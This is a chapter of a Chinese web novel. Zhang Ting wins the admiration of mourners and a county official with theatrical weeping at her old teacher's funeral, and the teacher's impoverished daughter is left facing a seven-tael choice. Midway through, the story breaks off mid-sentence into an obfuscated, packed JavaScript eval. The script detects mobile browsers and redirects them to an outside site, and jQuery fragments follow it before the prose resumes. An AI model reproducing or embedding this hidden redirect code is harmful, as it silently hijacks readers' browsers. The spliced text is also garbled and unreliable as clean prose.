回到家中,见天色还早,张庭就给自己蒸了一锅米饭,又去找王大叔用半碗米换了一大把青菜,弄了个素炒。
美滋滋用晚饭撑得不行,正准备去村里溜达溜达散个步。
刚锁上门,转过头便看见两名头戴孝帽,白布麻衣的男女朝自己走来。
女子是王老童生仅存的二女儿,二女儿单名一个应字,性子老实孝顺,身穿矮小,在泸川县时跟随母亲读书,只是王应也并非读书的料子,收效甚微,等原身启蒙的时候她已经不再读书了,后来祸乱迁居绿田县置办了田地,专心种地养家,日子过得也算安稳,可惜夫郎、女儿皆在前年病死,她如今才三十有五,外面的丧服倒是整齐,里衣的领口却打着补丁,脸上褶子纵横,面色灰败,神色恍惚,看着倒像五十岁了。
男子张庭也认识,他是老童生大儿子的独子,叫刘秀群,按辈分来说还是张庭的子侄辈。
在祸乱时,刘秀群的父亲连同妻家五口人全被流寇杀害,倒是他住在外祖母家躲过一劫,母亲一家死后一直跟着外祖母、姑姑生活。他如今刚过及笄,身材纤细瘦弱,黑发如墨披散在肩头,肤色洁净如雪,眉目间满是悲痛,自带楚楚可怜之态,分外引人怜惜。
但此刻张庭无暇欣赏,她大感不妙。
果然——
王应将整理好的丧服递给张庭,话音中带着哭腔:“母亲今日午时去了!张妹妹与我奔丧去罢!”
她母亲做启蒙先生多年,门生无数,她记不住张庭跟着她母亲读书时是如何情景,但如今就只有这么一位在村里可以帮忙治丧。
张庭作势震惊地往后一倒,又扶住门框稳住身形,痛哭道:“老师啊,您怎么就丢下我去了!”说着又好像支撑不住般身子往下滑落。
哭得比亲女儿还要难过,谁看了不道一句师徒情深?
王应和刘秀群上前扶住她,王应感动至极,又啜泣道:“家母已经仙去,在世时看重妹妹,妹妹可要好好保重身体才是!”张妹妹自启蒙之后,就和自家甚少联系,她还以为两家关系平平,哪曾想原来张庭这般看重母亲。
张庭难过地拂开两人,踉踉跄跄地往前走去:“我要去看老师!”
刘秀群见她走不稳,连忙跑过去扶住,泪珠还挂在脸上,红着眼望着张庭,轻声劝解道:“张小姐务必要保重身体,家祖必不想看到你这般伤神。”说着又侧过头“呜呜”哭了起来,露出洁白的脖颈。
张庭正悲痛地哭着呢,突然闻到一股浓烈的香粉味道,差点破功打个喷嚏,急忙抽下鼻子,回头接过王应手中的丧服。
“二位待我回房更衣。”说着还抹了把眼泪。
张庭关上门,立马打了个喷嚏,这刘家小侄子用的香粉味道也忒霸道了!
换上丧服,戴上丧帽,张庭又摸出七两银子揣好,沮丧地想这银子保不住了。
三人回丧家,张庭特意站在王应那侧,生怕再被香粉波及,惹得刘秀群委屈地看了她一眼。
王应早已哭得鼻子闻不见味道,还和张庭说起治丧的细节,张庭一边抽噎一边回应。
待到了门口,盯着悬挂的挽联,张庭却像是彻底崩溃似的,扶着左门跑到灵堂哭天抢地。
前来吊唁的宾客抹着眼泪,纷纷询问这人是谁?
跟着跑进来的王应,红着眼回道:“是家母最钟意的学生,如今已经是秀才了。”她曾听母亲提及教过的学生中只有唯二两人考上秀才,其中便有这张庭,她又见张庭对母亲爱重至此,想必是母亲倾囊相授才结下的情分吧。
实际上,原身只跟着老童生读了半年,后面母亲另寻了个秀才教她。
只不过知道这事的人要么死在了五年前的祸乱当中,要么死在了今日。
宾客听到这人已经身负秀才功名,赞叹她少年英才又情深义重。
这边,王应去扶哭得快撅过去的张庭起身,哽咽道:“稍后还要劳烦妹妹拜谢宾客,妹妹切记撑住啊!”
张庭扶着王应的手直起身,抽泣中说道:“老师待我恩重如山,不孝弟子理应如此。”
宾客这才看清了她的样貌,面前的女子肌肤白皙如玉,容貌清丽绝伦,明亮的双眸流露出深深的悲戚,凌乱的发丝贴在脸上显得她气质更加颓丧。
心中纷纷感慨:那老童生竟然还有这般标志又重恩义的弟子!
王应又和张庭介绍各位宾客,都是从前泸川县离散的亲友,张庭一一敬过,便去门前拜谢宾客。
到了戌时灯火亮起,蜡烛摆满了灵堂,还有不少宾客请来吊唁,其中一位是骑着马来的,身后还跟着数名随从。
此人约莫三十余岁,身材高壮,着锦袍裘衣,五官端正,不威自怒,像是庶民最怕的官老娘,偏偏一双通红的眼睛看得出她是来吊唁的。
张庭哽咽着谢她来吊唁,又邀她进去。
牛县丞心中奇怪,她是见过王老童生的女儿的,并非眼前之人,但眼下要紧之事是拜送老师,便先去了灵堂。
牛县丞为老师叩拜,她做不到张庭那样动容,只是眼眶发红,面色悲伤。
王应红肿着眼眶来答谢牛县丞,“劳烦您大老远还来见家母最后一面。”
牛县丞:“老师对我恩同再造,我岂敢不来。”
王应谢过,但他是家中唯一的女人,事务繁多,招呼了牛县丞又去忙别的。
牛县丞在灵堂定定站了会儿,又走去院中,随意地问起宾客,外面拜谢宾客的人是谁?
宾客只是村里年迈的平民们,并不认识她,看她衣着富贵还以为是老童生哪里的亲戚。
年老深知离别苦,方才见了张庭哭灵正是动容的时候,又听人问起无不夸赞她的情义,在老人们口中张庭是一位情义深重且才华横溢的年轻人,老童生对她悉心教导,最终将她培育成秀才,她视恩师如再造父母,恭敬有加,常常端水喂饭,照顾得无微不至,生病喝药皆是由她悉心伺候,但老天爷还是把老童生收走了......这么说着仿佛跟自己亲眼见过一般
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235219|166050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,都情不自禁开始呜咽哭泣。
牛县丞听闻,深觉自己罪孽深重,老师对她有大恩德她不仅没有侍候左右,竟然还让师妹操劳至此。
吐出一口气,找王应要来丧服穿上,同张庭一起拜谢宾客。
随后,王应又被刘秀群叫走了。
待到亥时,宾客才算尽了。
刘秀群热了饭菜给众人用过,低声说道:“今日有劳了,明日、后日还需要劳烦两位。”他的墨发上还装点了一朵白色的绢花,神色悲戚,好不可怜。
连牛县丞都看怔了,真真应征了那句“若要俏一身孝”。
张庭头都没抬,虽然用过夕食,但今日实在劳神费力,早已饿了,饭菜也十分可口,她用过一碗饭又去舀了一碗。
而王应愣愣地盯着地面不知再想什么,饭都没有用。
此时气氛静谧极了,张庭从饭碗中拔起头来,眼神不经意间对上刘秀群,他还温柔地问:“张小姐,今日劳你费神,可还要添碗饭?”
张庭竟然从他温柔的话音中听出了几分咬牙切齿的味道,以为他嫌自己吃得多,不由放下碗筷,尴尬一笑:“不必,我用好了。”
王应终于回过神来,苍白地向牛县丞和张庭介绍彼此。
张庭听她是本县县丞,不由肃然起敬,朝她做了一揖。
牛县丞连忙扶起张庭的手,说道:“我身为同门师姐,愧对老师、愧对师妹,怎敢受你之礼。”
张庭和她谈了几句丧仪之事,又问王应的安排,三人聊到戌时末才罢了。
临走前,张庭把王应叫到一边,将带来的七两银子交到她手里。
“这是从前老师资助我考举的银钱,如今家中丧仪繁杂,需要用钱之处颇多,这些银两拿去急用,若有不够妹妹再去凑凑。”当然,张庭最后那句只是场面话,七两银子办个丧事怎么都尽够了,而王应是个孝女断然不会私吞母亲的丧银。
母亲从未跟王应说起过这笔银钱,可见是不想要回给弟子的程仪,那王应怎么能收呢?
张庭见她不收,问及缘由才知道老童生的心意,错愕地张开嘴,想说什么又欲言又止。
强行将银钱按在王应手里,一脸正色道:“王姐姐,我是老师的弟子,老师对我恩重如山,与我银钱考举,我待老师何尝不是真心?这银钱还请收下罢!”
“妹妹也知你的难处,不想叫你为难的。”
王应望着手里的银子愣愣地发呆,又突然抱住张庭失声痛哭,手臂两侧的腋窝之下都打着补丁,这已经是她最体面的衣服了。
这一刻,她想到了临死前的母亲,想到了侄子在灵堂前说的话,想到了牙行的告示。
病入膏肓的母亲知道家里没有余钱,要她找个席子裹着埋了便是。
侄子跪在她面前,哀求她不要将他卖给别人做小侍。
母亲的丧仪是七两,侄子的聘礼是七两。
她的卖身契也是七两。
这七两是买命钱啊。